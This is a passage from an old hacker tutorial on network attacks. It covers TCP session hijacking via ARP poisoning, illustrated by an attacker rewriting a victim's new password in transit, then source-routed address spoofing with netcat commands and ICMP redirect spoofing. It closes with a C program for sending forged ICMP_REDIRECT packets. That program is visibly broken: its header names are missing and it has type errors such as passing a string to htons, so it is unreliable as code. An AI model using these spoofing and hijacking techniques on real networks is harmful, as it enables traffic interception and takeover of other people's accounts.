an ARP reply to be pretending from Host S, to Host C, telling it that it owns the IP address y.y.y.y. It sees that the ARP reply is coming from yy:yy:yy:yy, and thus associates the IP address y.y.y.y with the ATTACKER's MAC address yy:yy:yy:yy. Now that the attacker has both hosts believing that each other's MAC addresses are infact the attacker's, all he needs to do now is watch all packets travelling through his machine that are related to the connection between Host S and Host C that he is attempting to hijack, modify them accordingly, and then forward them to the host it was originally intended for so that their connection isn't interrupted. Here is a small diagram of what would be happening during a Man-In-the-Middle session hijacking attack, assuming that the ARP poisoning attack had already taken place: ****************************************** Host S: DST (Host C), DATA ("Welcome to the system. You are using the bash shell") -> Host C ...sent to Host X (attacker) because of the earlier ARP poisoning attack. Host X forwards the packet, not making any changes... Host C: DST (Host S), DATA ("ls") -> Host S ...again, Host X (attacker) receives this because it tricked Host C with the ARP poisoning attack above. Host X forwards the packet to Host S without any changes, because they are only issuing the 'ls' command... Host S: DST (Host C), DATA ("tmp codes exploits Desktop mp3s") -> Host C ...Host X again decides not to make any modifications to the packet, as Host S (the server) is only sending the directory listings back, nothing special... Host C: DST (Host S), DATA ("passwd") -> Host S ...The attacker's head shoots up. The user is going to change their password. The attacker can edit the packet in which the user specifies their new password, and set it to what they want. Host X forwards the packet to Host S without any changes... Host S: DST (Host C), DATA ("(current) UNIX password: ") -> Host C ...Host X forwards the packet with out any modifications to Host C... Host C: DST (Host S), DATA ("elitehacker") -> Host S ...Host X receives the packet. Although the attacker now has the user's password, it doesn't really matter, because he'll issue a new password is a few moments, and he (the attacker) will modify it... Host S: DST (Host C), DATA ("New UNIX password: ") -> Host C ...Host X forwards the packet to Host C, with no modifications. The time is near to when the attacker will modify Host C's packets... Host C: DST (Host S), DATA ("elitehacker123") -> Host S ...Host X receives the packet. The attacker modifies the packet data to now contain "elitehacker234", and injects the packet back into the network, and forwards it to Host S... Host S: DST (Host C), DATA ("Retype new UNIX password: ") -> Host C ...Host X forwards the packet with no modifcations to Host C... Host C: DST (Host S), DATA ("elitehacker123") -> Host S ...Host X receives the packet, the attacker modifies the packet, and edits the packet data to say "elitehacker234", and forwards the packet appropriately to Host S... Host S: DST (Host C), DATA ("passwd: all authentication tokens updated successfully.") -> Host C ...Host X receives the packet, and as usual, forwards it to Host C... ****************************************** At this point, the user on Host C happily presumes that their password has been changed successfully (they saw the messages themselves), and gets on with their daily work. However, little do they know that the attacker actually edited the packets, and the password is now "elitehacker234", not "elitehacker123" as the victim thinks. --] 1.2 ATTACKS - TCP SESSION HIJACKING - TOOLS There are various interesting tools in relation to TCP session hijacking attacks. Here's a few popular ones: HUNT - http://packetstormsecurity.nl/sniffers/hunt/ Ettercap - http://ettercap.sourceforge.net/ Further interesting tools related to TCP session Hijacking can be found at http://www.packetstormsecurity.org --] 1.3 ATTACKS - TCP SESSION HIJACKING - FURTHER READING You might want to do a little further research after my rather brief explanation of attacks. Here's a few good links for further reading: http://www.iss.net/security_center/advice/...ing/default.htm http://staff.washington.edu/dittrich/talks...ora/hijack.html http://www.cs.cornell.edu/Courses/CS519/20...Ctcphijack.html http://weadmin.com/satish/talk/non_blind_s...ion_hijack.html --[ 1.0 ATTACKS - ROUTING ATTACKS ]-- When packets leave a system through their network interface, to travel across the Internet to a given destination host, the best route is chosen for the packet to ensure the quickest way to the destination host is taken. However, various vulnerabilities exist in TCP/IP which allow attackers to interfere with the route that legimate user's packets take to their destination, potentially allowing attackers to perform sniffing, hijacking and other various attacks. One such example is Source routing. --] 1.1 ATTACKS - ROUTING ATTACKS - SOURCE ROUTING Source routing is an example of a classical spoofing attack, and is a pretty old trick in itself. The theory behind a source routing attack is the idea that you can specify the route a packet takes, rather than just letting it go through the routers. This way, because it didn't travel through routers, but through the route of the attacker's choice, packets sent can have a spoofed address, and the spoofing attack is non-blind. What is meant by non-blind is that unlike Sequence Number Prediction attacks for example, you can actually receive packets back. This particular type of routing attack could be useful for an attacker in a situation such as his/her target host, Company A, filters all packets from the Internet, excluding those coming from Company B. If an attacker could source route packets to travel through Company B's servers, the packets would be accepted, rather than dropped as Company A's servers are configured. Here's a simple example of how an attacker could spoof his address to appear to have originated from a trusted IP address, rather than his own, on a UNIX machine: ****************************************** [hacker@mybox.org /root]# ifconfig eth0:0 inet 192.168.3.201 netmask 255.255.255.255 [hacker@mybox.org /root]# nc -g 192.168.3.197 -g 192.168.3.198 -g 192.168.3.199 192.168.3.200 21 ****************************************** Here, the attacker attempts to initiate an FTP connection, with a spoofed source address of 192.168.3.201, by routing his connection through some other machines on the local network, instead of routers. However, although this attack is effective when successful, not all machines (UNIX and UNIX-like) are configured by default to relay source routed TCP stream packets. If one of machines an attacker attempts to route his packets through does not accept sourcr routed TCP packets, the spoofing attack will consequently fail. One major upside to this attack for an attacker is that the attack is non-blind, meaning that he/she can see the packets, just like an ordinary connection, however it is limited to their local network. Although this is quite a serious vulnerability in the TCP/IP suite, it is very easily fixed. All that is needed is that the root user changes the contents of /proc/sys/net/ipv4/conf/all/accept_source_route to 0. --] 1.2 ATTACKS - ROUTING ATTACKS - ICMP REDIRECTS As mentioned above, routers basically just determine the most efficient route to the proposed destination host, and send the packet off on that route. To keep this system as efficient as possible, when a packet is sent to the default router on a network, if there is a closer router to the machine sending the packet, the router sends an ICMP redirect packet back to the networked machine, instructing it to send the packets to the other router on the network instead. However, this little system has a potentially serious flaw: what if an attacker spoofs an ICMP_REDIRECT packet to be pretending to be from the router to the user's machine, telling the machine that his (the attacker's) box is actually the best router to send the packets to instead. All packets in that connection sent from the user on the network will then be instead sent to the attacker's machine, which he can do what he likes with. Modify them (could be used as a hijacking attack), drop them, or whatever he/she likes. Here's a very simple diagram of the sort of activity on the network, during an ICMP_REDIRECT attack: ****************************************** Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Router A Host X: SRC (Router A), ICMP_REDIRECT (Host X), DST (Host C) -> Host C Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Host X ...attacker now has control of the packet. He/she can do what they like with it, but should redirect it to the destination... Host X: SRC (Host C), SYN (ISN A), DST (Host S) -> Host S ...Attacker redirected packet to original destination, so Host C doesn't get suspicious about the connection request not being made... ****************************************** In this example attack, Host C (the client) attempted to send a connection request to Host S via the default network router, Router A. However, before the packet could get there, Host X (the attacker) spoofed an ICMP_REDIRECT packet from Router A, telling Host C to send the packets via his own box (Host X, obviously to do illegimate things with). Host X then forwarded the packet to the proper destination (Host S), so as to not make Host C suspicious. Quite obviously this type of attack could be used as a TCP/IP session hijacking attack. Here's a small program I have written as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("192.168.3.201"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_REDIRECT; icmp->code = 0; printf("Sent spoofed ICMP_REDIRECT packet from 192.168.3.201 to %s!\n", argv[1]); sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); return(0); } *************************************CUT HERE********************************** --[ CONCLUSION ]-- I hope that this paper benefits you in some way, if not for any other reason than any laughs you had whilst reading my article. If you have any positive comments on the article, any ideas for improvement or any other misc. comments, drop me a line . -Shaun2k2.